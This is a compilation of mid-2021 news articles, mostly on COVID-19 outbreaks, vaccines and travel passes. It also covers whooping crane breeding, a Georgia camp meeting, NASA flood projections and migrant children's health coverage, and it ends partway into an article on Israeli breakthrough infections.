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SANTA ROSA, Calif. -- At least 59 residents at a homeless shelter in Northern California have tested positive for the coronavirus.

Officials are also reviewing another 26 potential cases at Sonoma Countys largest shelter, Samuel L. Jones Hall.

Officials say that fewer than half of the shelters 153 residents had received at least partial vaccination.

Nine of those infected were hospitalized.

Sonoma County health officer Dr. Sundari Mase says that congregate settings are at much higher risk, compounded by the large number of unvaccinated residents.

The outbreak is only the second time the coronavirus has been detected at Sam Jones.

Something is different. This is different than what weve seen the entire pandemic, said Jennielynn Holmes, head of homelessness services at Catholic Charities in Santa Rosa, which manages the shelter.

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PHOENIX  Arizona reported 1,014 daily coronavirus cases amid increasing hospitalizations.

The seven-day rolling average of daily cases increased in the past two weeks from 550 on June 29 to 795 on Tuesday, according to Johns Hopkins University data.

The state Department of Health services reported 689 COVID-19 patients were hospitalized as Wednesday, up from 602 on Sunday, 643 on Monday and 669 on Tuesday. Arizonas COVID-19 hospitalization counts ranged between 500 and 600 during most of May and June.

Public health officials have attributed recent increases in COVID-19 cases to several factors, including the delta variant, lagging vaccinations and Fourth of July gatherings.

The new infections and seven deaths reported Thursday raised the totals to 904,865 confirmed cases and 18,083 confirmed deaths.

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PORTLAND, Maine  Maine residents age 50 and older who are fully vaccinated for the coronavirus has topped 80%.

About 45% of Maines population is at least 50 years old, and the state has one of the highest median ages in the country. The office of Maine Gov. Janet Mills says more than two thirds of the states eligible population is fully vaccinated for coronavirus, among the highest in the nation.

Cumberland County, which is the largest county in Maine, is 92% fully vaccinated in the 50 and older age group.

All but one county is above 70% vaccinated in the over 50 age group, according to the governors office.

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WASHINGTON  U.S. Surgeon General Vivek Murthy is urging technology companies, health care workers and everyday Americans to do more to stop the spread of misinformation about COVID-19 and vaccines.

In a 22-page advisory as President Joe Bidens surgeon general, Murthy on Thursday called misinformation about health matters a serious public threat and requested a nationwide response.

Bogus claims about coronavirus vaccines have led some people to reject masks, social distancing and immunizations, worsening the pandemic. Murthy urges tech companies to reduce the spread of such claims.

Teachers, he said, should expand education on media literacy and critical thinking. Journalists should work to responsibly debunk health misinformation without inadvertently spreading it further. And public health officials and doctors can do a better job answering questions and explaining why public health guidelines sometimes change based on new information.

The suggestions come as the pace of COVID-19 vaccinations has slowed throughout the U.S. The confirmed death toll in the U.S. recently surpassed 600,000.

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LONDON  Coronavirus infections in the Britain hit another six-month high, while the number of COVID-19 deaths was the highest since late March.

Government figures showed 48,553 confirmed cases, the biggest daily figure since Jan. 15. Cases have spiked sharply in recent weeks from the spread of the more contagious delta variant. The government has warned that daily infections could hit 100,000 this summer, a level not previously reached during the pandemic.

The government, which is lifting all remaining legal restrictions on social gatherings in England on Monday, is hoping the rapid rollout of vaccines will keep a lid on the number of people requiring hospital treatment for COVID-19.

The data Thursday showed another 63 virus-related deaths, the biggest daily increase since March 26, taking the confirmed total to 128,593.

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BERLIN  The head of the World Health Organization says hes hoping for better cooperation and access to data from China in the search for the origins of the coronavirus.

WHO Director-General Tedros Adhanom Ghebreyesus says getting access to raw data had been a challenge for the international expert team that traveled to China this year to investigate the cause of the outbreak, which was first reported from Wuhan.

Tedros says the Geneva-based body is asking actually China to be transparent, open and cooperate, especially on the information, raw data that we asked for at the early days of the pandemic.

He also says there had been a premature push to rule out the theory that the coronavirus might have escaped from a Chinese government lab in Wuhan.

I was a lab technician myself, Im an immunologist, and I have worked in the lab, and lab accidents happen, he said. Its common. Checking what happened, especially in our labs, is important and we need information, direct information on what the situation of this lab was before and at the start of the pandemic, then, if we get full information, we can exclude that.

Tedros says the world owed it to the millions who had died to know what happened and to prevent the same crisis from happening again. And thats why we need cooperation.

His words were echoed by Germanys health minister, Jens Spahn, who urged Chinese officials to allow the investigation into the origins of the virus to proceed.

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AMSTERDAM  A top official at the European Medicines Agency says a decision on whether to recommend that Modernas COVID-19 vaccine be authorized for children is expected late next week.

It could become the first such license for the shots use in children globally. Dr. Marco Cavaleri, the EU drug regulators head of vaccines strategy, says its committee was currently evaluating Modernas application to extend the use of its coronavirus vaccine for children aged 12-17.

Modernas vaccine was given the green light for use in anyone 18 and over across the 27-nation European Union in January. It has also been licensed in countries including Canada and the U.S. But so far, its use has not been extended to children.

Last week, EU president Ursula von der Leyen said the bloc had delivered enough vaccines to immunize 70% of its adult population. Many countries are looking to inoculate children, despite the significantly lower risk they face from COVID-19.

Although Britains regulatory agency has authorized the Pfizer vaccine for children, its vaccine advisory group has yet to recommend children be immunized. Many health officials say millions of people in developing countries at high risk of the disease have yet to receive a single shot.

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ROME  Italy is sending more than 25 tons of ventilators, masks, surgical gowns, disposable gloves and hand gel to Tunisia.

Last month, Tunisia had one of the highest per capital infection rates in Africa. The Italian Foreign Ministry says Thursday that several ships will ferry the aid to the nation across the Mediterranean, with the first vessel having departed from Naples.

The ministry says the assistance reflects its friendship and solidarity to the Tunisian people. Italy has good relations with Tunisia, which is one of the few countries that regularly accepts repatriated Tunisians who reach Italy on traffickers boats.

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TAIPEI, Taiwan  Japan sent a third shipment of COVID-19 vaccines to Taiwan, bringing its total donation to 3.3 million doses.

A Japan Airlines flight landed at Taoyuan airport outside of Taipei on Thursday with 970,000 doses of the AstraZeneca vaccine.

Taiwan had a severe vaccine shortage after its worst outbreak of coronavirus this spring. Taiwans deputy interior minister, Chen Tsung-yen, said: We thank our friends in Japan for their help at a time Taiwan needs it most.

The donations also have geopolitical meaning, a sign of Japanese support for Taiwan, which has feuded with China over vaccine supplies. China claims self-governing Taiwan as its own territory.

The U.S. donated 2.5 million doses of the Moderna vaccine to Taiwan last month.

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NAIROBI, Kenya  Africa director Matshidiso Moeti says some hospitals across the continent of 1.3 billion people are at the breaking point.

She says Africa has registered 1 million new coronavirus cases in the past month, the shortest time for such an increase in infections. The African continent has confirmed more than 6 million cases.

The highly infectious delta variant has been identified in 21 countries in the WHO Africa region. Meanwhile just over 1% of people across Africa have been fully vaccinated. Health officials are concerned about the slow arrival of doses.

The World Health Organization says another 190 million vaccine doses are needed to fully vaccinate 10% of Africas population. But it says some 450,000 vaccine doses have expired in about eight African countries because doses arrived late or were not used in time. WHO says that situation is improving.
The positivity rate of new COVID-19 tests reached more than 1 percent for the first time in nearly six weeks, the state reported Wednesday.

In a daily report, the state said 141 of the 11,030 test administered on Tuesday came back positive for a total positivity rate of 1.28 percent. The governors office said this was the first time the daily positivity rate was above 1 percent since June 1. The last time the positivity rate was above 1.28 percent was May 25.

Were continuing our push to make sure as many people as possible get vaccinated, Max Reiss, a spokesman for Gov. Ned Lamont, said Wednesday when asked about the increase in the positivity rate.

Hospitalizations, a key metric for state officials during the pandemic, dropped to 30 patients, which is among the lowest number in weeks. But the increase in positivity rate has drawn some concern.

It is certainly concerning that it is up from where it was a couple of weeks ago. I think it is attributable to the more infectious nature of the delta variant, said Dr. Thomas Balcezak, chief medical officer for Yale New Haven Health.

Dr. Ulysses Wu, Hartford HealthCares system director of infectious diseases, acknowledged the rising positivity rate, but also stressed that hospitalizations, deaths and patients on ventilators in the state remains low.

Connecticut broadly lifted COVID-19 restrictions in May, dropping a requirement that people wear masks and lifting caps on gathering sizes. Since easing the restrictions, the infection rate has remained relatively low.

Officials have attributed the drop in infections in part to the vaccination program that reached millions of residents. As of this week, 61.9 percent of all Connecticut residents were fully vaccinated, according to the Centers for Disease Control and Prevention.

Despite early success vaccinating many residents against COVID-19, the states vaccination program has slowed in recent weeks.

The weekly total of shots administered fell from a high in mid-April of roughly 314,000 doses to about 36,000 doses earlier this month.

The slowing pace of the vaccination program comes as concerns are growing over highly transmissible strains of the virus, including the delta variant, which was first seen in India and has been spreading in Connecticut for weeks.

While the CDC has said the delta variant is now the dominant strain in the United States, state officials said it has not yet reached that level here.

However, top local researchers said recently the relatively low number of new COVID-19 infections is making it difficult to track the delta variant in the state.

Estimating the frequency of delta at the local levels is a bit challenging due to the low cases, Nathan Grubaugh, who heads the genetic sequencing efforts at the Yale School of Public Health, wrote in a social media post last week.

The variant is believed to be 60 percent more transmissible than the COVID alpha strain, which has led to thousands of infections in Connecticut. Balcezak said that Connecticut could expect to see localized outbreaks from the variant.

Considering the concern over the delta variant, Lamont and other state officials have been pressing the remaining eligible residents to get vaccinated.

The more people that are vaccinated, the fewer viral particles are out there replicating in nature, and the less opportunity for these variants to develop and then become dominant, Dr. Deidre Gifford, the acting commissioner of the Department of Public Health, said in a news conference last week.
NEW ORLEANS (AP)  A year after pandemic precautions all but halted work to raise the worlds most endangered cranes for release into the wild, the efforts are back in gear.

Fourteen long-legged, fuzzy brown whooping crane chicks  one more than in 2019  are following their parents or costumed surrogates in facilities from New Orleans to Calgary, Canada.

We are thrilled to have bounced back in the wake of the pandemic, said Richard Dunn, assistant curator of the Freeport-McMoRan Audubon Species Survival Center in New Orleans.

Adult whooping cranes are white with black wingtips and red caps, and at 5 feet high are the tallest birds in North America. Only about 800 exist, all descendants of about 15 that survived hunters and habitat loss in a flock that migrates between Texas and Alberta, Canada.

Last year, zoos and other places where the endangered birds are bred had to cut staff and reduce or eliminate use of artificial insemination, which requires close work by two or three people, and of having people in shape-disguising costumes raise chicks.

One chick hatched out at the Calgary Zoo, Dunn said. And it had to stay in Calgary because they couldn't cross the border" to get it into either of two U.S.-only flocks.

Both a flock based in southwest Louisiana and one taught to migrate between Wisconsin and Florida by following ultralight aircraft were created in hopes of mitigating disaster should anything happen to the original border-crossing flock, now about 500 strong. The original flock is the only one that can survive without human assistance to increase its numbers.

Seven chicks hatched this year at the Species Survival Center.

Aurora, a male produced there by artificial insemination, is being brought up by his mother and stepfather, though his mother is temporarily hospitalized after chipping her beak on their enclosure's chain-link fence.

The other six  five hatched from eggs taken from the wild in Wisconsin and one from an egg bred at the International Crane Foundation in Baraboo, Wisconsin  are being raised by staffers.

The Milwaukee Zoo is raising one chick from an egg received from the crane foundation, and the foundation and the Calgary Zoo are each raising three chicks. The Milwaukee Zoo's chick will remain captive for breeding, Dunn said.

Dunn said Audubon and the crane foundation are the only facilities that use costume-rearing as well as having mated crane pairs bring up babies, and this year only Audubon did so.

Pandemic prospects were still uncertain and vaccines not yet readily available in February, when the foundation had to make its decisions, crane foundation aviculturist Kim Boardman said in an email. We expect to costume and parent rear again in 2022, she said.

Audubons keepers do checkups and other tasks the chicks won't appreciate while wearing regular clothes, to teach them that humans are to be avoided.

When teaching the chicks to hunt and other crane behaviors, they dress in baggy costumes with the neck of a crane-head hand puppet holding in one loose, black-tipped wing. The puppet demonstrates how to pick up insects from the ground, then passes the tasty morsels to a chick.

Although the chicks will be given identifying numbers such as L1-21 when they're released as mottled brown-and-white juveniles late this year, at Audubon they have names: Blizzard, Fog, Hurricane, Lava, Lightning, Tornado  the only female  and Aurora.

It's been a good year in the wild, too  Louisiana's 68 adults included a record 24 nesting pairs. They hatched a record 14 chicks. including two in Texas, and five have survived into July, said Sara Zimorski, a biologist with the Louisiana Department of Wildlife and Fisheries.

Youngsters that live long enough to fly get numbers starting with LW and the number assigned at hatching. One of Louisiana's five has been seen flying, and, along with a yearling is counted in the 70-member flock. If all five become fledglings, that will tie a record from 2018.

The Wisconsin-Florida flock numbers about 80, with about 120 birds in captivity. Seven eggs were taken from Wisconsin's flock to be raised in captivity, at least 14 more hatched in the wild and six of those survived through June.

Eggs are collected from early wild nests because parents will lay a second if the first doesn't hatch or the chicks die. Collections not only increase the number of chicks per year but in Wisconsin, help keep wild chicks from hatching when bloodsucking black flies are at their worst.

One of Louisiana's Texas-nesting pairs also hatched a chick last year  the first documented since the early 1900s, Zimorski said. Texas is the original flocks winter home but those birds nest in Canadas Wood Buffalo National Park.

This year's Texas survivor was hatched by first-time parents and is still very young, Zimorski wrote in an email. It has a long ways to go! she said.
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Historic Shingleroof Campmeeting is like 'family and friends' reunion on top of church'

Staff Photo: Heather Middleton Henry Countys Bicentennial Campmeeting will begin Friday, July 16 and end Thursday, July 22, with services at 7:45 each evening and at 11 a.m. on Saturday through Thursday. Staff Photo: Heather Middleton A view of the Shingleroof Tabernacle from the dining halls front porch. The dining hall will not be open this year, but various food trucks will be on the campgrounds during the weeklong camp meeting. Special Photo Doug Stroup Special Photo Amy Stroup Special Photo Rev. Nate Keeler

McDONOUGH  In just a few days, children will again run and dip their toes into the cold water spring flowing through this hallowed piece of land in McDonough. Many children will be playing in that same natural spring where their ancestors once drew water for drinking and cooking during what became, for some, the highlight of the year. And like those generations before them, children and their families this year will hear preachers talk about Gods love, forgiveness and salvation during camp meeting at the historic Shingleroof.

As Henry County celebrates its 200th anniversary, 2021s Shingleroof is being called by organizers the Henry County Bicentennial Campmeeting.

Shingleroof started at least as early as 1830, maybe earlier, so we have been there for most of the 200 years, according to county historian and author Gene Morris. We were not able to gather in 2020, due to pandemic restrictions, so people are chomping at the bit to get back on the old campgrounds.

Greg Moss has attended camp meeting each of his 56 years on Earth, and he can count on one hand how many days his 24-year-old daughter, Hannah has missed. This will be the first time his 22-year-old son Haydon will not be able to attend. But Moss and his wife Mary Jane will be there among the worshipers and family, many of whom are the same people.

My aunt has a tent, and we all stay as a family, he said. My brother and I, we have a house full. Id have to stop and count to see how manys in there.

Some families have cabins on the property, which they call tents in homage to their ancestors who actually stayed in tents on the same property during camp meeting time.

It was such a special place for me growing up, I wanted my kids to have that same experience, Moss said. Both of them love it so much... It doesnt matter what part of the year you go out there, there is that presence and its got to be the presence of God... Its one of the most peaceful places Ive ever been in my life.

Moss, who does remodeling work, attends Rock Springs Congregational Methodist Church in Milner. He tells about recently stopping to talk to a man who was surveying the Shingleroof property for stormwater drainage for the state of Georgia and the man told him he could sense something there.

I told him its the same hope, the same feeling I get when I come out there, Moss said. Its just a peaceful place. I hope when we get to heaven, its like it is there.

Moss loves the history and talking about the days when folks worked to get their crops in, then loaded up their horse and wagon, pulled their cows behind them and brought their chickens along as they pitched tents to spend time worshiping at Shingleroof.

Families still pack up and head off to camp meeting, and Moss looks forward to again being with relatives and friends.

Usually, my mama and aunt are on the front porch, he says about the cabin. My dad died when I was 10, but he loved that place tremendously. He was James Moss and my mama is Dianne Moss. My mamas sister is my Aunt Sylvia Crumbley... My uncle, Richard Crumbley was a big influence on us staying out there. He died awhile back.

Ginger Irby, who has been on the Shingleroof Board of Trustees for nine years, is also looking forward to camp meeting next week. She doesnt know how many generations of her family have worshiped at the campground, but said her grandparents, Paul and Laura Cates built the family tent in 1960. Her parents are Paul and Jinny Cates.

We always have a big Sunday lunch with lots of family, Irby said. We sit on the porch and talk with friends you dont get to see a lot. Its kind of like a family reunion on top of a friends reunion on top of church with a lot of things combined.

Irby, who works for the McDonough CPA firm Hargrave, Freeman & Leto, attends McDonough First Presbyterian Church and said she looks forward to the music and preaching.

Theres a lot of good music  good old revival hymns and even the youth love to sing, she added. Its different from the contemporary services. Its back to the old gospel hymns.

...Ive been going to it all my life and my parents and grandparents have gone there and my kids love it. Its tradition. Its just an exciting time.

Irby said her husband Robert and their children Rollins and Candler will join other relatives, including her Uncle Charlie Cates and Chase and Darian Cates, for a time of family worship and togetherness.

Its hard to explain to people, but you kind of get back to simple living, Irby said. There are sawdust floors, no air conditioning... but its a great place to worship and get closer to God, your family and friends. Its important because for me, Im passing it along to my children. My grandparents passed it along to me.

Sophe Pope has also been attending camp meeting all her life.

(I am) following in the footsteps of generations past, she said. I cherish the singing of old hymns, front porch time with family and friends from near and far and an opportunity to totally unplug. Watching my four little girls run around and experience the joy of camp meeting is so special and heartwarming and is always a sweet reminder of Gods grace.

Pope said her husband, Dusty also grew up going to camp meeting, which holds a special place for him. The Popes are the parents of four daughters ages 8, 6, 4 and 2.

Many families will carry on those old traditions while other families new to Shingleroof Campmeeting will start making traditions of their own. Shingleroof, Henry Countys Bicentennial Campmeeting, will begin Friday, July 16 and end Thursday, July 22, with services at 7:45 each evening and at 11 a.m. on Saturday through Thursday.

Shingleroof Campmeeting is interdenominational. The evening community revival services will include preaching and special music, with the Rev. Nate Keeler bringing the message Friday evening through Sunday evening. Rev. Jason Minter will preach Monday morning and the Rev. Dr. John Ed Mathison will preach Monday evening. Doug Stroup will serve as worship leader with Amy Stroup as pianist for the week. Mark Miller will serve as worship leader Sunday morning, and Chris Harris will lead worship on Friday evening. Other special music includes Revelation United from Fairview Baptist, The Jonesmen, Elizabeth Johnson, McDonough Presbyterian, Wanda Joy and Danny Howell, and other soloists and groups.

Keeler is the lead pastor at Wilmingtons Brandywine Valley Baptist Church in Delaware. He and his wife, Shannan, met while at Philadelphia Biblical University (now Cairn University). They have two children, Nathan and Aidan. Before being called as the senior pastor of BVBC, Keeler was an investment adviser in Washington, D.C., for two years and on staff at McLean Bible Church in Northern Virginia for eight years. He received his masters in Christian Leadership at Dallas Theological Seminary.

Minter has been serving at Faith Presbyterian Church since May 2016. He received his bachelor of arts degree in Theology from the Baptist College of Florida and his master in divinity degree from Columbia Theological Seminary. He is currently working on his doctorate degree from Reformed Theological seminary in the area of reformed expository preaching. He has 15 years of ministry experience both in student and pastoral ministry. He and his wife of 16 years have five daughters.

Mathison has become a regular at Shingleroof, and retired in 2008, after 36 years of serving as the senior minister of Frazer Memorial United Methodist Church. He is currently leading a non-profit ministry designated as the John Ed Mathison Leadership Ministries and speaks at churches, conferences, and leadership training programs on a local, national and global scale.

Stroup, the song leader for the week, is the assistant pastor at Crossroad Bible Church in Fort Valley, where he also serves as worship leader, teaches young adults and works with senior adults. He is a filmmaker and serves as the senior director of Make It Clear Studio where he produces faith-based films. He and his wife and seven children perform as The Stroup Family. The worship leader has also been part of the Peach State Quartet.

The dining hall will not be open this year, but food trucks will be on site some evenings from 5-7 p.m., including Gezzos, Waffle House, Sweet Auburn BBQ and The Varsity.

Located on the corner of Ga. Highway 155 and Campground Road in McDonough, Shingleroof Campground is situated on 100 acres of land, which historical records show were purchased in 1831. However, it is believed campmeeting was organized several years before that. Surrounded by woods, Shingleroof also offers The Ten Commandments Trail, a 1.5-mile nature trail that circles the campground. Along the way, walkers and hikers can follow a study of the Ten Commandments, as well as sit and meditate. The trails are open to the public during daylight hours.

For more information and a detailed list of campmeeting events, visit www.shingleroof.org.
Coastal communities in the United States, be forewarned. A "dramatic" surge in high-tide floods is just over a decade away in the US, according to NASA.

The rapid increase will start in the mid-2030s, when a lunar cycle will amplify rising sea levels caused by the climate crisis, found a new study led by the members of the NASA Sea Level Change Science Team from the University of Hawaii. Only far northern coastlines, such as Alaska's, will get at least another decade's respite because long-term geological processes are leading to these land areas rising.

The study, published in the journal Nature Climate Change, is the first to take into account all known oceanic and astronomical causes for floods, the agency said in a news release.

High-tide floods involve less water than storm surges from a hurricane, but the study's lead author warns that doesn't mean they are a less significant problem overall. "It's the accumulated effect over time that will have an impact," said Phil Thompson, an assistant professor at the University of Hawaii's department of oceanography, in a news statement.

"If it floods 10 or 15 times a month, a business can't keep operating with its parking lot under water. People lose their jobs because they can't get to work. Seeping cesspools become a public health issue."

The National Oceanic and Atmospheric Administration reported over 600 high-tide floods in 2019. This new study projects these floods will sometimes occur in clusters lasting a month or longer in the 2030s, depending on the positions of the moon, Earth, and sun. Some cities may see floods every day or two.

Lunar cycle

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The reason for this expected surge is tied to the moon's 18.6-year cycle.

Right now, it's in the half that amplifies tides -- meaning high tides get higher and low tides get lower. Along most US coastlines, current sea levels have not risen so much that high tides regularly top flooding thresholds.

But that won't be the case next time around, which is in the mid-2030s.

That's because of how a wobble in the moon's orbit combines with rising sea levels. The wobble isn't new -- it was first reported in 1728. But how this movement affects the moon's gravitational pull, the main cause of the Earth's tides, will spark these new flooding concerns when it combines with rising sea levels.

"Global sea level rise will have been at work for another decade. The higher seas, amplified by the lunar cycle, will cause a leap in flood numbers on almost all U.S. mainland coastlines, Hawaii, and Guam," a NASA news release stated.

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While attending a conference at the Universidad Nacional Autonoma de Mexico in Mexico City several years ago, Sharon Borja was struck by the story of a young man who, as a child, joined his parents repatriating to their native country of Mexico. Like millions of Mexican immigrants, the family had called the United States home for years, and having been born in the U.S., he was an American citizen. Walking one day in his newfound urban Mexican neighborhood, a couple carrying a wooden stick approached him on the street and encouraged him to do the same, Borja recalled the man sharing.

The stick was for protection against all the stray dogs. He grew up in America and was in a new country for the first time and didn't understand the various challenges. His story sparked my interest in investigating other hurdles U.S. citizen migrant children face when accompanying their parents back to Mexico, including lack of adequate health insurance." Sharon Borja, Assistant Professor, University of Houston Graduate College of Social Work

More than a million Mexican nationals and their families that returned to Mexico from the United States in 2015 fueled in part by the Great Recession limiting job opportunities and increased deportation. Among them were 550,000 U.S.-born minors.

An analysis of more than 36,000 of those minors, published in the peer reviewed journal Health Affairs, found that nearly 54% were underinsured. The situation was even more stark in urban settings, where 80% of U.S. citizen migrant children had limited, inadequate insurance. Among the children who lived in Mexican states near the U.S. border, 65% suffered the same fate.

For the study, "underinsured" was defined as those who reported having no insurance or received coverage through public health services or private insurance, which offer narrower coverage, limited access to high-quality care, and modest protection from catastrophic health expenses compared to employment-based programs through Mexico's Social Security Institute.

"We believe health care is a human right. It's a travesty that these U.S. citizen children are vulnerable to financial risk and delays in care and treatment. Many don't even think about this subgroup of at-risk kids, yet they are U.S. citizens who moved to another country, likely not by their choice," said Borja, lead author of the research paper. "These circumstances elevate their risk for lifelong disparities in health and productivity compared with their counterparts who stayed in the U.S."

The study also revealed that parents' level of education and living with an employed mother were associated with a higher likelihood of having the superior employment-based coverage. In addition, the likelihood of having such coverage is reduced by 59% for U.S. citizen migrant children in border states compared with those in other areas.

Although Mexico established a form of universal health care in 2020 called Instituto de Salud para el Bienestar (INSABI), or the Institute of Health for Well-being in English, it faces insufficient funding and does not cover all health conditions, according to the researchers. Regardless, access is guaranteed only for those with proof of citizenship or legal residency. Fewer than half of U.S. citizen migrant children in Mexico in 2015 reported having Mexican citizenship, further putting them at risk for delayed medical care, particularly when there is no alternative to prove eligibility.

The findings underscore the need for transborder health policies that address the growing place-based inequity in health coverage, according to the study authors. They recommend the following solutions:

Reintegration policies, including assistance to revalidate education and training obtained abroad, to help ease the transition of returning migrants and their families to Mexico.

Expedited dual-citizenship application process to facilitate receipt of health and social protection programs; a U.S.-Mexico bilateral agreement to recognize birth certificates from either country as proof of dual citizenship could further simplify the registration of U.S. citizen migrant children in programs such as INSABI, as these documents already bear their parents' nationalities.

Exempting U.S. citizen migrant children who reside in the 80 Mexican municipalities within approximately 60 miles of the U.S.-Mexico border from automatic suspensions of Medicaid and Children's Health Insurance Program (CHIP) benefits to ensure uninterrupted care via telemedicine and in-person consultation with U.S. health care providers.

Creation of a workgroup within the Comision de Salud Fronteriza Mexico-Estados Unidos (U.S.-Mexico Border Health Commission) to help monitor the health status and needs of U.S. citizen migrant children.

Other authors of the research paper include Jodi Berger Cardoso, University of Houston; Pedro Isnardo De La Cruz, Universidad Nacional Autonoma de Mexico; Krista Perreira, University of North Carolina; Natalia Giraldo-Santiago, University of Houston Ph.D. candidate; Martha Virginia Jasso Oyervides, Universidad Autonoma de Coahuila.

The researchers acknowledge that the evolving geopolitical landscape of U.S.-Mexico migration and the recent implementation of INSABI could present a different picture now, six years after their data was collected. But with increased deportations during the Trump Administration, the numbers of U.S. citizen migrant children lacking adequate health insurance is likely even higher today.

"We recognize that the implementation of cross-border health initiatives could be costly. But the long-term societal savings of investing in early childhood and ensuring timely access to high quality preventive care far outweigh the cost," wrote the researchers. "Sustained political will and consistent commitment to invest in U.S. citizen migrant children, who are often an ignored segment of the population, are needed so that they do not become 'out of sight and out of mind.'"
A mandatory pass for travel within the European Union during the COVID-19 pandemic has come under fire for leaving behind lower-income countries reliant on the COVAX facility for vaccinations.

The EU Digital Covid Certificate, dubbed the green pass, came into force Thursday (1 July), with the aim of easing travel across the bloc.

However, concerns were raised after it emerged that it does not recognise people inoculated with Covishield, an AstraZeneca vaccine brand produced by the Serum Institute of India.

A case should be made that as long as a vaccine meets WHO standards, it should be regarded as equal and qualifying for the Green Pass. Tanimola Akande, professor of public health, University of Ilorin, Nigeria

The pass will include information about vaccines and tests taken for COVID-19. It is available for passengers who have had the AstraZeneca (Vaxzevria), Pfizer/BioNTech, Moderna, and Johnson and Johnson vaccines, approved by the European Medicines Agency (EMA).

Under current rules, Covishield recipients would be excluded as the vaccine has yet to be approved by the EMA.

However, media reports citing an Indian foreign ministry source said on Thursday as many as nine out of the 27 EU member countries plan to allow Covishield as proof of immunity for travellers, regardless of the pass restrictions.

SciDev.Net could not independently confirm the reports by the time of publication.

The Covishield vaccine was approved by the World Health Organization (WHO) for emergency use in February and is being rolled out through the COVAX facility to provide access to lower-income countries, as well as in India.

The Africa Centres for Disease Control and Prevention (Africa CDC) and the African Union (AU) say the developments are concerning, given that the Covidshield vaccine has been the backbone of the EU-supported COVAX contributions to the AU member states vaccination programmes.

Under such regulations, persons who received Covishield, despite being able to demonstrate proof of vaccination, would continue to be subject to public health restrictions, including limitations of movement and testing requirements, with considerable administrative and financial implications, they said in a joint statement on 28 June.

They urged the European Commission to extend eligibility to vaccines approved for COVAX, and warned that inequalities in access to green passes could persist indefinitely if the Serum Institute of India did not apply for Covishield authorisation in the EU market.

The European Commission did not immediately respond to requests for comment.

Serum Institute of India Chief Executive Officer Adar Poonawalla said in a Tweet that he had taken the matter up at the highest levels and hoped to resolve it soon both with regulators and at a diplomatic level with countries.

I realise that a lot of Indians who have taken Covishield are facing issues with travel to the EU, he wrote.

Tanimola Akande, a professor of public health at the University of Ilorin, Nigeria, believes the green pass controversy should set the stage for renegotiating vaccine standards with the WHO.

A case should be made that as long as a vaccine meets WHO standards, it should be regarded as equal and qualifying for the green pass, says Akande.

Akande sees the omission of Covishield as introducing politics of vaccine superiority outside WHO which he says is uncalled for and goes against the call for non-nationalisation of vaccines.

The WHO has said countries should not introduce requirements of proof of COVID-19 vaccination for international travel as a condition for departure or entry.

Mwidimi Ndosi, a senior lecturer in rheumatology nursing from the University of the West of England, Bristol in the United Kingdom, said: Because the WHO has been opposed to vaccine passports, it seems the producers of Covishield did not foresee the need to comply with authorisation in the European Union market.

This, to me, is more of an administrative issue that should be resolved soon. I would have been concerned more if it was to do with the quality of the vaccines.

People who received vaccines through the COVAX facility may be tempted to think that its an issue of quality and feel treated as second class. Thats not [the case], he adds, stressing that the quality of Covishield has not been doubted so far.
Emergency oxygen supplies and a faster vaccination rollout are desperately needed in Indonesia, health experts say, amid a spike in cases and the emergence of the highly infectious Kappa variant.

On 12 July, official sources reported 40,427 new cases and 891 new deaths -- an increase of over 10,000 in less than a week, according to data collected by Worldometer.

Overall, Indonesia has reported 2,567,630 confirmed COVID-19 cases, 16th highest in the world, and 67,355 deaths since the outbreak began last year. Less than 48 million vaccine doses have been administered in a country with a population of more than 276 million people.

Most provinces in the sprawling archipelago have inadequate testing capacity and hospitalisations have increased 3.5 times to around 81,000 in the past five weeks, according to the World Health Organization (WHO). The global body called for an oxygen task force to monitor and allocate supplies of medical-grade oxygen as shortages set in.

Edhie Rahmat, executive director of Project Hope - Indonesia, a nonprofit health organisation, says the COVID-19 crisis is worsening in several cities and districts onthe island of Java, Indonesia's most populous island,because of a shortage of resources like hospitalbeds and oxygen as well as health care workers, many of them having fallen ill themselves.

According to Rahmat, patients in hospitals and in the community, including those self-isolating, are facing oxygen shortages. "If oxygen can be found, then the price is three to four times higher than the regular price," he adds.

Rahuldeb Sarkar, a public health specialist and consultant at Medway Hospital, in Kent, UK, says that the picture in Indonesia will likely be replicated in other countries where the bulk of the population remains unvaccinated.

"Lessons from multiple countries should teach us that hospitals need onsiteoxygen production capability andwhere there is none, there needs to be an international stockpile of oxygen ready to be delivered wherever needed," Sarkar tells SciDev.Net.

In EKONID's (the German-Indonesian Chamber of Industry and Commerce) rolling COVID-19 fact sheet, it cited Kappa as one of two variants affecting Indonesia, the other being Delta, first identified in India. The WHO classifies Kappa as a "variant of interest" and Delta as a "variant of concern".

Certainly, Kappa and its sister variant Delta are causes of concern due to the increased transmissibility." Carl Latkin, vice chair of the department of health, behavior and society, Johns Hopkins University in Baltimore, US

Thekkekara Jacob John, former professor of clinical virology at the Christian Medical College, in Vellore, India, says the COVID-19 epidemic in Indonesia is following a similar pattern to India.

"India's second [epidemic wave of COVID-19] started early March and peaked by 6 May; it has come down steadily since then. Indonesia's second wave, which started between end May and early June, has not yet peaked," he tells SciDev.Net.

Commenting on the spread of the Kappa variant, John says: "We need not worry about all known variants since vaccines protect against all of them reasonably well  speeding up vaccination is what [Indonesia and India] must concentrateon."

Latkin tells SciDev.Net that vaccines, in the proper dosage, appear to be highly effective in preventing the disease caused by major variants of the virus to date."However, most countries do not have adequate supplies of vaccines," he notes.
Severe forms of coronavirus disease (COVID-19) linked to high mortality rates might arise in a minority of fully-vaccinated individuals with many co-occurring medical conditions, finds a recent study by Israeli researchers published in the journal Clinical Microbiology and Infection.

In Phase III clinical trials, two mRNA COVID-19 vaccines (Pfizer/BioNTech's BNT162b2 and Moderna's mRNA-1273) were shown to be 94-95% effective in preventing symptomatic forms of the disease. Moreover, similar efficacy was observed in different age groups, as well as in those older than 75 and those with comorbidities.

Israel's vaccination campaign was swift, effective, and had a significant impact on the local COVID-19 dynamics. Factors that played a huge role here were small geographical and population size, advanced informatization, as well as effective cooperation between the government and the community-based health funds.

However, there is not enough data on the nature of breakthrough infections with COVID-19 vaccines that we started to observe even in highly vaccinated populations like Israel. Furthermore, we lack data on the clinical traits and serologic correlates of protection of individuals hospitalized with COVID-19 after they have received their jabs.

According to the Israeli Ministry of Health registry, by the end of April 2021, a total of 397 fully vaccinated patients were hospitalized with the severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2) after their second vaccine dose  with 234 of them suffering severe COVID-19 and 90 of them succumbing to the disease.

By using a subset of hospitalized patients, a research group led by Dr. Tal Brosh-Nissimov from the Samson Assuta Ashdod University Hospital in Israel aimed to characterize vaccinated and hospitalized patients with breakthrough COVID-19 infection, but also to define principal risk factors linked to poor outcomes in this group.

A multi-center cohort study

